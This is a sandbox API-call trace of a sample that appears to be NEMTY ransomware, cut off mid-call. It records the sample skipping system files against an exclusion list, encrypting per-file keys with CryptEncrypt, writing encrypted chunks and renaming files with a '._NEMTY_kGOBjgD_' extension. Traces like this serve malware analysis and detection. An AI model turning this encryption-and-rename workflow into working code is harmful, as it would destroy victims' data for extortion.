pszString="gP5zNwIRKJ5G84DPWfHVZyeOCmbzcbjNgyiAuDFsZv2doFvKvCSx4GdYZ/7X/Qmz\r\nk0YNhn0a70f8g5XsZfh1MCPG/ST3n8klkPWpvp1wG7LnjC68RApYAeh+VYJAT4Ry\r\n5NG+VJgXAyD8ezVYu7z8puFKeKirSfgSgR7e8EnRA6U7MaKt5mU/XybAVImB7hWI\r\nmQEKdvSCWVuxcAyl0fqHrqoHuGRLBvchBhS0YG0HvkM5lRMIZTUoYQk2VngNbnzR\r\n9PDlchsgTBJLpYK4E/0HeED0d3D9qkwPQzk9hzzNLNjJFdv/VqwWLxRDKLP4pfBI\r\n4/diXcI8VrbEnkr8rjiabQ==\r\n", pcchString=0x653e91c) returned 1 [0132.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0132.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0132.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0132.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0132.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0132.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0132.973] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_WMC_LogoText.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_wmc_logotext.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0132.973] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0132.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0132.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.973] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.982] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.992] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.011] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.011] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.020] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.021] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.039] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.059] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.059] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.069] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.069] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0133.081] CloseHandle (hObject=0xffffffff) returned 0 [0133.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0133.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0133.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0133.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0133.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0133.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0133.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0133.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0133.082] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_WMC_LogoText.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_wmc_logotext.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_WMC_LogoText.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_wmc_logotext.png._nemty_kgobjgd_")) returned 0 [0133.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0133.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0133.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0133.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0133.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0133.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0133.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0133.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.082] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90fa721, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90fa721, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3d, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0133.082] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1 [0133.082] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1 [0133.082] lstrcmpiW (lpString1="logo.png", lpString2="...") returned 1 [0133.082] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1 [0133.082] lstrcmpiW (lpString1="logo.png", lpString2="$RECYCLE.BIN") returned 1 [0133.082] lstrcmpiW (lpString1="logo.png", lpString2="rsa") returned -1 [0133.082] lstrcmpiW (lpString1="logo.png", lpString2="NTDETECT.COM") returned -1 [0133.082] lstrcmpiW (lpString1="logo.png", lpString2="ntldr") returned -1 [0133.082] lstrcmpiW (lpString1="logo.png", lpString2="MSDOS.SYS") returned -1 [0133.082] lstrcmpiW (lpString1="logo.png", lpString2="IO.SYS") returned 1 [0133.082] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0133.082] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0133.082] lstrcmpiW (lpString1="logo.png", lpString2="AUTOEXEC.BAT") returned 1 [0133.082] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1 [0133.082] lstrcmpiW (lpString1="logo.png", lpString2="desktop.ini") returned 1 [0133.083] lstrcmpiW (lpString1="logo.png", lpString2="CONFIG.SYS") returned 1 [0133.083] lstrcmpiW (lpString1="logo.png", lpString2="RECYCLER") returned -1 [0133.083] lstrcmpiW (lpString1="logo.png", lpString2="BOOTSECT.BAK") returned 1 [0133.083] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1 [0133.083] lstrcmpiW (lpString1="logo.png", lpString2="programdata") returned -1 [0133.083] lstrcmpiW (lpString1="logo.png", lpString2="appdata") returned 1 [0133.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0133.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0133.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0133.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0133.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0133.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0133.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0133.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0133.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0133.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0133.083] Sleep (dwMilliseconds=0x5) [0133.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2fa9830, dwHighDateTime=0x1d561e8)) [0133.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2fa9830, dwHighDateTime=0x1d561e8)) [0133.097] GetLastError () returned 0x5 [0133.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.097] GetLastError () returned 0x5 [0133.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.097] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0133.097] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0133.097] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0133.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0133.097] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="0D0EBFLI6glG3vyocsnaK2JbdQKwmCXzSbedx3xNiCLz/EB9iRdheJ6v9BR40cHg\r\nCqEZ8n7LOLkY87c5WYVmfQDOlF3/I7lCDpVb5ilitn1Njw9Wx8AYG9KHP1rCZo3g\r\nYNrHYTwx49DGlNWmtbzMucLGD0CDrgxp+EgXF3eH/RdIcCBmuOVE5hYubfxEVdP4\r\ncty4OFR5oMEWA51hg489okY6f1Dq5wm86ZlR0yygQ1EE4i0ACdYBOWOeihgOiP9B\r\n67+JDi49aVCmziukiXBSV6vRExGG0W9bTZ8hPtdOUkgNYrjXQRaYMvUaffyPY/DU\r\nRkRv15CJGpSwYc0eShTlyg==\r\n", pcchString=0x653e91c) returned 1 [0133.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0133.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0133.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0133.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0133.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0133.098] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0133.098] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0133.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0133.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.117] WriteFile (in: 